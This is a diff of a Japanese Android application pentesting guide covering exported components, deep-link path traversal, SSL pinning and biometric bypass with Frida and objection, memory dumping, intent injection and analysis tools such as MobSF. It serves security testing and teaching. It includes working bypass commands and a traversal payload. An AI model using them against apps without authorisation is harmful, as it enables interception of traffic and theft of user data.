認可バイパスは常に脆弱性ではないことに注意してください。バイパスの動作とどの情報が公開されているかによります。
{% endhint %}
**機密情報の漏洩**
**アクティビティは結果を返すこともできます**。もし、エクスポートされていて保護されていないアクティビティが**`setResult`**メソッドを呼び出し、**機密情報を返している**場合、機密情報の漏洩があります。
**アクティビティは結果を返すこともできます**。もし、**`setResult`**メソッドを呼び出し、**機密情報を返す**エクスポートされた保護されていないアクティビティを見つけることができれば、機密情報の漏洩があります。
#### タップジャッキング
@ -390,7 +390,7 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
[**サービスとは何かを再確認したい場合は、こちらをお読みください。**](android-applications-basics.md#services)\
サービスのアクションは`onStartCommand`メソッドで始まることを覚えておいてください。
サービスは基本的に**データを受信**し、**処理**し、**応答**(またはしない)を返すことができるものです。したがって、アプリケーションがいくつかのサービスをエクスポートしている場合は、**コードを確認**して何をしているのかを理解し、機密情報を抽出したり、認証手段をバイパスしたりするために**動的にテスト**する必要があります。\
サービスは基本的に**データを受信**し、**処理**し、**応答**(またはしない)を返すことができるものです。したがって、アプリケーションがいくつかのサービスをエクスポートしている場合は、**コードを確認**して何をしているのかを理解し、**機密情報を抽出するために動的にテスト**する必要があります。認証手段をバイパスすることも...\
[**Drozerを使用してサービスを悪用する方法を学びましょう。**](drozer-tutorial/#services)
### **ブロードキャストレシーバーの悪用**
@ -398,7 +398,7 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
[**ブロードキャストレシーバーとは何かを再確認したい場合は、こちらをお読みください。**](android-applications-basics.md#broadcast-receivers)\
ブロードキャストレシーバーのアクションは`onReceive`メソッドで始まることを覚えておいてください。
ブロードキャストレシーバーは、特定のメッセージを待機しています。レシーバーがメッセージをどのように処理するかによって、脆弱性が生じる可能性があります。\
ブロードキャストレシーバーは、特定のメッセージを待機しています。レシーバーがメッセージをどのように処理するかによって、脆弱である可能性があります。\
[**Drozerを使用してブロードキャストレシーバーを悪用する方法を学びましょう。**](./#exploiting-broadcast-receivers)
### **スキーム/ディープリンクの悪用**
@ -425,7 +425,7 @@ _パッケージ名を**省略する**ことができ、モバイルは自動的
**実行されるコード**
**アプリで実行されるコードを見つけるために**、ディープリンクによって呼び出されるアクティビティに移動し、関数**`onNewIntent`**を検索します。
アプリで**実行されるコードを見つけるために**、ディープリンクによって呼び出されるアクティビティに移動し、関数**`onNewIntent`**を検索します。
![](<../../.gitbook/assets/image (436) (1) (1) (1).png>)
@ -435,8 +435,8 @@ _パッケージ名を**省略する**ことができ、モバイルは自動的
**パス内のパラメータ**
**URLのパス内パラメータを使用しているディープリンクがあるかどうかも確認する必要があります**。例えば、`https://api.example.com/v1/users/{username}` のように。この場合、`example://app/users?username=../../unwanted-endpoint%3fparam=value` のようにパストラバーサルを強制することができます。\
アプリケーション内で正しいエンドポイントを見つけた場合、**オープンリダイレクト**(パスの一部がドメイン名として使用されている場合)、**アカウント乗っ取り**CSRFトークンなしでユーザーの詳細を変更でき、脆弱なエンドポイントが正しいメソッドを使用している場合、およびその他の脆弱性を引き起こす可能性があります。詳細については[こちら](http://dphoeniixx.com/2020/12/13-2/)を参照してください。
**URLのパス内パラメータを使用しているディープリンクがあるかどうかも確認する必要があります**。例えば: `https://api.example.com/v1/users/{username}` の場合、パストラバーサルを強制して、`example://app/users?username=../../unwanted-endpoint%3fparam=value`のようなものにアクセスできます。\
アプリケーション内で正しいエンドポイントを見つけた場合、**オープンリダイレクト**(パスの一部がドメイン名として使用される場合)、**アカウント乗っ取り**CSRFトークンなしでユーザーの詳細を変更でき、脆弱なエンドポイントが正しいメソッドを使用している場合、およびその他の脆弱性を引き起こす可能性があります。詳細は[こちら](http://dphoeniixx.com/2020/12/13-2/)を参照してください。
**さらなる例**
@ -446,11 +446,11 @@ _パッケージ名を**省略する**ことができ、モバイルは自動的
* **証明書はAndroidアプリケーションによって常に適切に検査されるわけではありません**。これらのアプリケーションは警告を見落とし、自己署名証明書を受け入れたり、場合によってはHTTP接続に戻ったりすることが一般的です。
* **SSL/TLSハンドシェイク中の交渉は時々弱く**、安全でない暗号スイートを使用しています。この脆弱性により、接続が中間者攻撃MITMに対して脆弱になり、攻撃者がデータを復号化できるようになります。
* **機密情報の漏洩**は、アプリケーションが安全なチャネルを使用して認証を行った後、他のトランザクションのために非安全なチャネルで通信する場合にリスクがあります。このアプローチは、セッションクッキーやユーザーの詳細などの機密データを悪意のあるエンティティによる傍受から保護できません。
* **機密情報の漏洩**は、アプリケーションが安全なチャネルを使用して認証するが、他のトランザクションのために非安全なチャネルで通信する場合にリスクがあります。このアプローチは、セッションクッキーやユーザーの詳細などの機密データを悪意のあるエンティティによる傍受から保護できません。
#### 証明書の検証
**証明書の検証**に焦点を当てます。サーバーの証明書の整合性を確認することは、セキュリティを強化するために重要です。これは、安全でないTLS構成や暗号化されていないチャネルを介して機密データを送信することが重大なリスクをもたらすため、重要です。サーバー証明書の検証と脆弱性への対処に関する詳細な手順については、[**このリソース**](https://manifestsecurity.com/android-application-security-part-10/)を参照してください
**証明書の検証**に焦点を当てます。サーバーの証明書の整合性を確認することは、セキュリティを強化するために重要です。これは、安全でないTLS構成や暗号化されていないチャネルを介して機密データを送信することが重大なリスクをもたらすため、重要です。サーバー証明書の検証と脆弱性への対処に関する詳細な手順は、[**このリソース**](https://manifestsecurity.com/android-application-security-part-10/)で包括的に説明されています
#### SSLピンニング
@ -458,35 +458,35 @@ SSLピンニングは、アプリケーションがサーバーの証明書を
#### トラフィックの検査
HTTPトラフィックを検査するには、**プロキシツールの証明書をインストールする必要があります**Burp。この証明書をインストールしないと、暗号化されたトラフィックはプロキシを通じて表示されない可能性があります。カスタムCA証明書のインストールに関するガイドについては、[**こちらをクリック**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine)してください。
HTTPトラフィックを検査するには、**プロキシツールの証明書をインストールする必要があります**Burp。この証明書をインストールしないと、暗号化されたトラフィックはプロキシを通じて表示されない可能性があります。カスタムCA証明書のインストールに関するガイドは、[**こちらをクリック**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine)してください。
**APIレベル24以上**をターゲットとするアプリケーションは、プロキシのCA証明書を受け入れるためにネットワークセキュリティ構成を変更する必要があります。このステップは、暗号化されたトラフィックを検査するために重要です。ネットワークセキュリティ構成の変更に関する指示については、[**このチュートリアルを参照**](make-apk-accept-ca-certificate.md)。
**APIレベル24以上**をターゲットとするアプリケーションは、プロキシのCA証明書を受け入れるためにネットワークセキュリティ構成を変更する必要があります。このステップは、暗号化されたトラフィックを検査するために重要です。ネットワークセキュリティ構成の変更に関する指示は、[**このチュートリアルを参照**](make-apk-accept-ca-certificate.md)してください
#### SSLピンニングのバイパス
SSLピンニングが実装されている場合、HTTPSトラフィックを検査するためにそれをバイパスする必要があります。この目的のためにさまざまな方法があります
* 自動的に**apkを修正**して**SSLピンニングをバイパス**するには、[**apk-mitm**](https://github.com/shroudedcode/apk-mitm)を使用します。このオプションの最大の利点は、SSLピンニングをバイパスするためにrootが必要ないことですが、アプリケーションを削除して新しいものを再インストールする必要があり、これが常に機能するわけではありません。
* 自動的に**apkを修正して**SSLピンニングを**バイパス**するには、[**apk-mitm**](https://github.com/shroudedcode/apk-mitm)を使用します。このオプションの最大の利点は、SSLピンニングをバイパスするためにrootが必要ないことですが、アプリケーションを削除して新しいものを再インストールする必要があり、これが常に機能するわけではありません。
* **Frida**下記で説明を使用してこの保護をバイパスすることもできます。Burp+Frida+Genymotionを使用するためのガイドはこちらです[https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
* **objection**を使用して**SSLピンニングを自動的にバイパス**することもできます:`objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
* **MobSF動的分析**を使用して**SSLピンニングを自動的にバイパス**することも試みることができます(下記で説明)。
* **objection**を使用してSSLピンニングを**自動的にバイパス**することもできます:`objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
* **MobSF動的分析**を使用してSSLピンニングを**自動的にバイパス**することも試みることができます(下記で説明)。
* まだキャプチャしていないトラフィックがあると思われる場合は、**iptablesを使用してトラフィックをburpに転送**することを試みることができます。このブログを読んでください:[https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
#### 一般的なWeb脆弱性の検索
アプリケーション内で一般的なWeb脆弱性を検索することも重要です。これらの脆弱性を特定し、軽減するための詳細情報はこの要約の範囲を超えていますが、他の場所で広範にカバーされています。
アプリケーション内で一般的なWeb脆弱性を検索することも重要です。これらの脆弱性を特定し、軽減するための詳細情報はこの要約の範囲を超えていますが、他の場所で広範にカバーされています。
### Frida
[Frida](https://www.frida.re)は、開発者、リバースエンジニア、セキュリティ研究者のための動的インスツルメンテーションツールキットです。\
**実行中のアプリケーションにアクセスし、実行時にメソッドをフックして動作を変更したり、値を変更したり、値を抽出したり、異なるコードを実行したりできます...**\
Androidアプリケーションをペンテストするは、Fridaの使い方を知っておく必要があります。
Androidアプリケーションをペンテストする場合は、Fridaの使い方を知っておく必要があります。
* Fridaの使い方を学ぶ[**Fridaチュートリアル**](frida-tutorial/)
* Fridaでのアクション用の「GUI」[**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
* OjectionはFridaの使用を自動化するのに最適です[**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
* OjectionはFridaの使用を自動化するのに最適です[**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
* ここで素晴らしいFridaスクリプトを見つけることができます[**https://codeshare.frida.re/**](https://codeshare.frida.re)
* Fridaをロードしてanti-debugging / anti-fridaメカニズムをバイパスすることを試みてください。詳細は[https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace)を参照してください(ツール[linjector](https://github.com/erfur/linjector-rs))。
* [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace)に示されているようにFridaを読み込んで、アンチデバッグ/アンチFridaメカニズムをバイパスしてみてください(ツール[linjector](https://github.com/erfur/linjector-rs))。
### **メモリダンプ - Fridump**
@ -501,7 +501,7 @@ python3 fridump3.py -u <PID>
frida-ps -Uai
python3 fridump3.py -u "<Name>"
```
これは./dumpフォルダーにメモリをダンプします。そこで、次のようにgrepできます
これは./dumpフォルダーにメモリをダンプします。そこで、次のようにgrepできます
{% code overflow="wrap" %}
```bash
@ -511,7 +511,7 @@ strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a
### **キーストア内の機密データ**
Androidでは、キーストア機密データを保存するのに最適な場所ですが、十分な権限があれば**アクセスすることが可能です**。アプリケーションはここに**平文で機密データを保存する傾向があるため**、ペンテストはそれを確認する必要があります。ルートユーザーまたはデバイスへの物理的アクセスを持つ誰かがこのデータを盗むことができるかもしれません。
Androidでは、キーストア機密データを保存するのに最適な場所ですが、十分な権限があれば**アクセスすることが可能です**。アプリケーションはここに**平文で機密データを保存する傾向があるため**、ペンテストはそれを確認する必要があります。ルートユーザーやデバイスに物理的にアクセスできる誰かがこのデータを盗むことができるかもしれません。
アプリがキーストアにデータを保存していても、そのデータは暗号化されているべきです。
@ -521,7 +521,7 @@ frida -U -f com.example.app -l frida-scripts/tracer-cipher.js
```
### **指紋/生体認証バイパス**
次のFridaスクリプトを使用することで、Androidアプリケーションが特定の機密領域を保護するために行っている**指紋認証をバイパスする**ことが可能になるかもしれません:
次のFridaスクリプトを使用することで、Androidアプリケーションが特定の機密領域を保護するために実行している**指紋認証をバイパス**することが可能です:
{% code overflow="wrap" %}
```bash
@ -529,15 +529,15 @@ frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app
```
{% endcode %}
### **背景画像**
### **バックグラウンド画像**
アプリケーションをバックグラウンドに置くと、Androidはアプリケーションの**スナップショット**を保存します。これにより、フォアグラウンドに復帰したときにアプリがより早く読み込まれているように見えます。
アプリケーションをバックグラウンドに置くと、Androidはアプリケーションの**スナップショット**を保存します。これにより、フォアグラウンドに復帰したときにアプリがより早く読み込まれているように見えます。
しかし、このスナップショットに**機密情報**が含まれている場合、スナップショットにアクセスできる人はその情報を**盗む可能性**があります(アクセスするにはルート権限が必要です)。
しかし、このスナップショットに**機密情報**が含まれている場合、スナップショットにアクセスできる人はその情報を**盗む**可能性がありますアクセスするにはrootが必要です)。
スナップショットは通常、**`/data/system_ce/0/snapshots`**の周辺に保存されます。
Androidは、FLAG\_SECUREレイアウトパラメータを設定することで**スクリーンショットのキャプチャを防ぐ**方法を提供しています。このフラグを使用すると、ウィンドウの内容は安全と見なされ、スクリーンショットに表示されたり、非安全なディスプレイで表示されたりすることを防ぎます。
Androidは、FLAG\_SECUREレイアウトパラメータを設定することで**スクリーンショットのキャプチャを防ぐ**方法を提供します。このフラグを使用すると、ウィンドウの内容は安全と見なされ、スクリーンショットに表示されたり、非安全なディスプレイで表示されたりすることを防ぎます。
```bash
getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
```
@ -549,39 +549,39 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
開発者は、これらのインテントを処理し、`startActivity(...)`や`sendBroadcast(...)`などのメソッドに渡すプロキシコンポーネント(アクティビティ、サービス、ブロードキャストレシーバーなど)を作成することがよくありますが、これはリスクを伴います。
危険は、攻撃者がこれらのインテントを誤って誘導することによって、非エクスポートアプリコンポーネントをトリガーしたり、機密コンテンツプロバイダーにアクセスしたりできることにあります。注目すべき例は、`WebView`コンポーネントがURLを`Intent`オブジェクトに変換し、`Intent.parseUri(...)`を介して実行することで、悪意のあるインテントインジェクションを引き起こす可能性があることです。
危険は、攻撃者がこれらのインテントを誤って誘導することによって、非エクスポートアプリコンポーネントをトリガーしたり、機密コンテンツプロバイダーにアクセスしたりできることにあります。注目すべき例は、`WebView`コンポーネントがURLを`Intent`オブジェクトに変換し、`Intent.parseUri(...)`を介して実行することで、悪意のあるインテント注入を引き起こす可能性があることです。
### Essential Takeaways
* **Intent Injection**は、ウェブのオープンリダイレクト問題に似ています。
* 脆弱性は、`Intent`オブジェクトをエクストラとして渡すことに関与し、安全操作を実行するためにリダイレクトされる可能性があります。
* 脆弱性は、`Intent`オブジェクトをエクストラとして渡すことに関与し、これが不安全な操作を実行するためにリダイレクトされる可能性があります。
* 攻撃者に非エクスポートコンポーネントやコンテンツプロバイダーを露出させる可能性があります。
* `WebView`のURLから`Intent`への変換は、意図しないアクションを促進する可能性があります。
### Android Client Side Injections and others
おそらく、あなたはこの種の脆弱性をウェブから知っているでしょう。Androidアプリケーションにおいては、これらの脆弱性に特に注意する必要があります
おそらく、あなたはウェブからこの種の脆弱性について知っているでしょう。Androidアプリケーションにおいては、これらの脆弱性に特に注意する必要があります
* **SQL Injection:** 動的クエリやコンテンツプロバイダーを扱う際は、パラメータ化されたクエリを使用していることを確認してください。
* **JavaScript Injection (XSS):** すべてのWebViewに対してJavaScriptとプラグインのサポートが無効になっていることを確認してくださいデフォルトで無効。 [こちらに詳細情報](webview-attacks.md#javascript-enabled)。
* **Local File Inclusion:** WebViewはファイルシステムへのアクセスを無効にする必要がありますデフォルトで有効 - `(webview.getSettings().setAllowFileAccess(false);)`。 [こちらに詳細情報](webview-attacks.md#javascript-enabled)。
* **JavaScript Injection (XSS):** すべてのWebViewに対してJavaScriptとプラグインのサポートが無効になっていることを確認してくださいデフォルトで無効。 [More info here](webview-attacks.md#javascript-enabled).
* **Local File Inclusion:** WebViewはファイルシステムへのアクセスを無効にする必要がありますデフォルトで有効 - `(webview.getSettings().setAllowFileAccess(false);)`。 [More info here](webview-attacks.md#javascript-enabled).
* **Eternal cookies**: Androidアプリケーションがセッションを終了するとき、クッキーが取り消されない場合や、ディスクに保存されることがあります。
* [**Secure Flag** in cookies](../../pentesting-web/hacking-with-cookies/#cookies-flags)
***
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るために、[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)サーバーに参加してください!
**Hacking Insights**\
ハッキングのスリルと課題に深く掘り下げたコンテンツに参加しましょう
ハッキングのスリルと課題に深く掘り下げたコンテンツに参加してください。
**Real-Time Hack News**\
リアルタイムのニュースと洞察を通じて、急速に変化するハッキングの世界に遅れずについていきましょう
リアルタイムのニュースと洞察を通じて、急速に変化するハッキングの世界に遅れずについていきましょう
**Latest Announcements**\
新しいバグバウンティの開始や重要なプラットフォームの更新について最新情報を入手してください
新しいバグバウンティの開始や重要なプラットフォームの更新について最新情報を入手してください
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
@ -599,13 +599,13 @@ docker pull opensecurity/mobile-security-framework-mobsf
docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
```
注意してください、MobSFは**Android**(apk)**、IOS**(ipa)**、およびWindows**(apx)アプリケーションを分析できます_WindowsアプリケーションはWindowsホストにインストールされたMobSFから分析する必要があります_。\
また、**Android**または**IOS**アプリのソースコードで**ZIP**ファイルを作成するとアプリケーションのルートフォルダに移動し、すべてを選択してZIPファイルを作成、それも分析できます。
また、**Android**または**IOS**アプリのソースコードで**ZIP**ファイルを作成すると(アプリケーションのルートフォルダに移動し、すべてを選択してZIPファイルを作成、それも分析できます。
MobSFはまた、**diff/Compare**分析を行い、**VirusTotal**を統合することもできま_MobSF/settings.py_でAPIキーを設定し、有効にする必要があります`VT_ENABLED = TRUE` `VT_API_KEY = <Your API key>` `VT_UPLOAD = TRUE`)。`VT_UPLOAD`を`False`に設定すると、**ハッシュ**が**アップロード**され、ファイルではなくなります。
MobSFはまた、**diff/Compare**分析を行い、**VirusTotal**を統合することも可能です_MobSF/settings.py_でAPIキーを設定し、有効にする必要があります`VT_ENABLED = TRUE` `VT_API_KEY = <Your API key>` `VT_UPLOAD = TRUE`)。`VT_UPLOAD`を`False`に設定すると、**ハッシュ**が**アップロード**され、ファイルではなくなります。
### MobSFによる支援された動的分析
**MobSF**は**Android**における**動的分析**にも非常に役立ちますが、その場合はホストにMobSFと**genymotion**をインストールする必要がありますVMやDockerでは動作しません。_注最初に**genymotionでVMを起動**し、**その後MobSFを起動する必要があります。**_\
**MobSF**は**Android**における**動的分析**にも非常に役立ちますが、その場合はホストにMobSFと**genymotion**をインストールする必要がありますVMやDockerでは動作しません。_注最初に**genymotionでVMを起動**し、**その後MobSFを起動する必要があります。_\
**MobSF動的アナライザー**は以下を行うことができます:
* **アプリケーションデータをダンプ**URL、ログ、クリップボード、あなたが作成したスクリーンショット、"**Exported Activity Tester**"によって作成されたスクリーンショット、メール、SQLiteデータベース、XMLファイル、その他の作成されたファイル。これらはすべて自動的に行われますが、スクリーンショットは、スクリーンショットを取得したいときに押す必要があります。または、すべてのエクスポートされたアクティビティのスクリーンショットを取得するには"**Exported Activity Tester**"を押す必要があります。
@ -628,12 +628,12 @@ MobSFはまた、独自の**Fridaスクリプト**を読み込むこともでき
* **読み込まれたクラスを列挙**:すべての読み込まれたクラスを印刷します
* **文字列をキャプチャ**:アプリケーションを使用中にキャプチャされたすべての文字列を印刷します(非常に騒がしい)
* **文字列比較をキャプチャ**:非常に役立つ可能性があります。**比較されている2つの文字列**と結果がTrueかFalseかを**表示**します。
* **クラスメソッドを列挙**:クラス名("java.io.File"など)を入力すると、そのクラスのすべてのメソッドを印刷します。
* **文字列比較をキャプチャ**:非常に役立つ可能性があります。**比較されている2つの文字列**と結果がTrueかFalseかを**表示**します。
* **クラスメソッドを列挙**:クラス名(例:"java.io.File")を入力すると、そのクラスのすべてのメソッドを印刷します。
* **クラスパターンを検索**:パターンでクラスを検索
* **クラスメソッドをトレース****クラス全体をトレース**そのクラスのすべてのメソッドの入力と出力を確認。デフォルトでは、MobSFは興味深いAndroid APIメソッドをいくつかトレースします。
使用したい補助モジュールを選択したら、"**Start Instrumentation**"を押す必要があり、すべての出力は"**Frida Live Logs**"に表示されます。
使用したい補助モジュールを選択したら、"**Start Intrumentation**"を押す必要があり、すべての出力は"**Frida Live Logs**"に表示されます。
**シェル**
@ -648,10 +648,10 @@ receivers
```
**HTTPツール**
httpトラフィックがキャプチャされると、"**HTTP(S) Traffic**"の下にキャプチャされたトラフィックの醜いビューが表示されるか、"**Start HTTPTools**"の緑のボタンでより良いビューが表示されます。2番目のオプションから、**キャプチャされたリクエスト**を**プロキシ**BurpやOwasp ZAPなどに**送信**できます。\
そのためには、_Burpを起動 -->_ _インターセプトをオフにする --> MobSB HTTPToolsでリクエストを選択_ --> "**Send to Fuzzer**"を押す --> _プロキシアドレスを選択_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080))。
httpトラフィックがキャプチャされると、"**HTTP(S) Traffic**"の下にキャプチャされたトラフィックの醜いビューが表示されるか、"**Start HTTPTools**"の緑のボタンでより良いビューが表示されます。2番目のオプションから、**captured requests**をBurpやOwasp ZAPのような**proxies**に**send**できます。\
そのためには、_Burpを起動 -->_ _Interceptをオフにする --> MobSB HTTPToolsでリクエストを選択_ --> "**Send to Fuzzer**"を押す --> _プロキシアドレスを選択_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080))。
MobSFで動的分析を終えたら、"**Start Web API Fuzzer**"を押して**httpリクエストをファズ**し、脆弱性を探すことができます。
MobSFで動的分析が完了したら、"**Start Web API Fuzzer**"を押して**fuzz http requests**を行い、脆弱性を探します。
{% hint style="info" %}
MobSFで動的分析を実行した後、プロキシ設定が誤って構成される可能性があり、GUIから修正できなくなることがあります。プロキシ設定を修正するには、次の手順を実行します
@ -663,11 +663,11 @@ adb shell settings put global http_proxy :0
### Assisted Dynamic Analysis with Inspeckage
ツールは[**Inspeckage**](https://github.com/ac-pm/Inspeckage)から入手できます。\
このツールは、**動的分析**を行っている間に**アプリケーションで何が起こっているか**を知るためにいくつかの**Hooks**を使用します。
このツールは、**動的分析**を実行している間に**アプリケーションで何が起こっているか**を知るためにいくつかの**Hooks**を使用します。
### [Yaazhini](https://www.vegabird.com/yaazhini/)
これは**GUIを使用した静的分析を行うための優れたツール**です。
これは**GUIを使用した静的分析を実行するための優れたツール**です。
![](<../../.gitbook/assets/image (741).png>)
@ -683,7 +683,7 @@ qark --java path/to/specific/java/file.java
### [**ReverseAPK**](https://github.com/1N3/ReverseAPK.git)
* 参照のためにすべての抽出ファイルを表示
* APKファイルをJavaおよびSmali形式に自動的にデコンパイル
* APKファイルを自動的にJavaおよびSmali形式にデコンパイル
* 一般的な脆弱性と動作のためにAndroidManifest.xmlを分析
* 一般的な脆弱性と動作のための静的ソースコード分析
* デバイス情報
@ -693,9 +693,9 @@ reverse-apk relative/path/to/APP.apk
```
### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super)
SUPERは、Windows、MacOS X、Linuxで使用できるコマンドラインアプリケーションで、脆弱性を探すために_.apk_ファイルを分析します。これは、APKを解凍し、一連のルールを適用して脆弱性を検出することによって行ます。
SUPERは、Windows、MacOS X、Linuxで使用できるコマンドラインアプリケーションで、脆弱性を探すために_.apk_ファイルを分析します。これは、APKを解凍し、一連のルールを適用して脆弱性を検出することによって行われます。
すべてのルールは`rules.json`ファイルに集中しており、各企業やテスターは自分たちのニーズに応じて分析するための独自のルールを作成できます。
すべてのルールは`rules.json`ファイルに集中しており、各企業やテスターは自分たちの必要に応じて分析するための独自のルールを作成できます。
最新のバイナリは[ダウンロードページ](https://superanalyzer.rocks/download.html)からダウンロードしてください。
```
@ -715,7 +715,7 @@ StaCoAnは、開発者、バグバウンティハンター、倫理的ハッカ
```
### [AndroBugs](https://github.com/AndroBugs/AndroBugs\_Framework)
AndroBugsフレームワークは、Androidアプリケーションの潜在的なセキュリティ脆弱性を開発者やハッカーが見つけるのを助けるAndroid脆弱性分析システムです。\
AndroBugs Frameworkは、開発者やハッカーがAndroidアプリケーションの潜在的なセキュリティ脆弱性を見つけるのを助けるAndroid脆弱性分析システムです。\
[Windowsリリース](https://github.com/AndroBugs/AndroBugs\_Framework/releases)
```
python androbugs.py -f [APK file]
@ -725,7 +725,7 @@ androbugs.exe -f [APK file]
**Androwarn**は、Androidアプリケーションによって開発された潜在的な悪意のある動作を検出し、ユーザーに警告することを主な目的としたツールです。
検出は、アプリケーションのDalvikバイトコードの**静的解析**を使用して行われ、**Smali**として表現されます。 [`androguard`](https://github.com/androguard/androguard)ライブラリを使用しています。
検出は、アプリケーションのDalvikバイトコードの**静的解析**を使用して行われ、**Smali**として表現されます。[`androguard`](https://github.com/androguard/androguard)ライブラリを使用しています。
このツールは、次のような**「悪い」アプリケーションの一般的な動作**を探します:テレフォニー識別子の流出、音声/ビデオフローの傍受、PIMデータの変更、任意のコード実行...
```
@ -735,7 +735,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
![](<../../.gitbook/assets/image (595).png>)
**MARA**は**モバイルアプリケーションの逆アセンブルおよび分析フレームワーク**です。これは、OWASPモバイルセキュリティ脅威に対してモバイルアプリケーションをテストするために、一般的に使用されるモバイルアプリケーションの逆アセンブルおよび分析ツールをまとめたツールです。その目的は、この作業をモバイルアプリケーションの開発者やセキュリティ専門家にとってより簡単で親しみやすくすることです。
**MARA**は**モバイルアプリケーションの逆アセンブル分析フレームワーク**です。これは、OWASPモバイルセキュリティ脅威に対してモバイルアプリケーションをテストするために、一般的に使用されるモバイルアプリケーションの逆アセンブルおよび分析ツールをまとめたツールです。その目的は、この作業をモバイルアプリケーションの開発者やセキュリティ専門家にとってより簡単で親しみやすくすることです。
以下のことが可能です:
@ -748,39 +748,39 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
### Koodous
マルウェアを検出するのに役立ちます[https://koodous.com/](https://koodous.com)
マルウェアを検出するのに役立ちます: [https://koodous.com/](https://koodous.com)
## コードの難読化/デオブフスケート
使用するサービスと構成によって、コードを難読化することに注意してください。秘密は難読化される場合とされない場合があります。
使用するサービスと構成によって、コードを難読化する際に秘密が難読化される場合とされない場合があります。
### [ProGuard](https://en.wikipedia.org/wiki/ProGuard\_\(software\))
[Wikipedia](https://en.wikipedia.org/wiki/ProGuard\_\(software\))から**ProGuard**は、Javaコードを縮小、最適化、難読化するオープンソースのコマンドラインツールです。バイトコードを最適化し、未使用の命令を検出して削除することができます。ProGuardはフリーソフトウェアで、GNU一般公衆ライセンスバージョン2の下で配布されています。
[Wikipedia](https://en.wikipedia.org/wiki/ProGuard\_\(software\))から: **ProGuard**は、Javaコードを縮小、最適化、難読化するオープンソースのコマンドラインツールです。バイトコードを最適化し、未使用の命令を検出して削除することができます。ProGuardはフリーソフトウェアで、GNU一般公衆ライセンス第2版の下で配布されています。
ProGuardはAndroid SDKの一部として配布され、リリースモードでアプリケーションをビルドする際に実行されます。
ProGuardはAndroid SDKの一部として配布され、アプリケーションをリリースモードでビルドする際に実行されます。
### [DexGuard](https://www.guardsquare.com/dexguard)
APKをデオブフスケートするためのステップバイステップガイドを[https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)で見つけてください
APKをデオブフスケートするためのステップバイステップガイドは[https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)にあります
そのガイドから最後に確認したとき、Dexguardの動作モードは次のとおりでした
* リソースをInputStreamとして読み込む
* 結果をFilterInputStreamから継承したクラスに渡して復号化する
* リバースエンジニアに数分の時間を無駄にさせるために無駄な難読化を行う
* 復号化された結果をZipInputStreamに渡してDEXファイルを取得する
* リソースをInputStreamとして読み込む;
* 結果をFilterInputStreamから継承したクラスに渡して復号化する;
* リバースエンジニアに数分の時間を無駄にさせるために無駄な難読化を行う;
* 復号化された結果をZipInputStreamに渡してDEXファイルを取得する;
* 最後に、`loadDex`メソッドを使用して結果のDEXをリソースとして読み込む。
### [DeGuard](http://apk-deguard.com)
**DeGuardは、Androidの難読化ツールによって実行された難読化プロセスを逆転させます。これにより、コード検査やライブラリの予測など、数多くのセキュリティ分析が可能になります。**
**DeGuardは、Androidの難読化ツールによって行われた難読化プロセスを逆転させます。これにより、コード検査やライブラリの予測など、数多くのセキュリティ分析が可能になります。**
難読化されたAPKを彼らのプラットフォームにアップロードできます。
### [Simplify](https://github.com/CalebFenton/simplify)
これは**汎用のAndroidデオブフスケーター**です。Simplifyは**アプリを仮想的に実行**してその動作を理解し、その後**コードを最適化しようとします**。最適化されたコードは同じように動作しますが、人間にとって理解しやすくなります。各最適化タイプはシンプルで汎用的であるため、使用される特定の難読化の種類は関係ありません。
これは**汎用のAndroidデオブフスケーター**です。Simplifyは**アプリを仮想的に実行**してその動作を理解し、その後**コードを最適化しようとします**。各最適化タイプはシンプルで汎用的であるため、使用される特定の難読化の種類は関係ありません。
### [APKiD](https://github.com/rednaga/APKiD)
@ -788,13 +788,13 @@ APKiDは**APKがどのように作成されたか**に関する情報を提供
### マニュアル
[カスタム難読化を逆アセンブルする方法に関するいくつかのトリックを学ぶためにこのチュートリアルを読んでください](manual-deobfuscation.md)
[カスタム難読化を逆転させる方法に関するいくつかのトリックを学ぶためにこのチュートリアルを読んでください](manual-deobfuscation.md)
## ラボ
### [Androl4b](https://github.com/sh4hin/Androl4b)
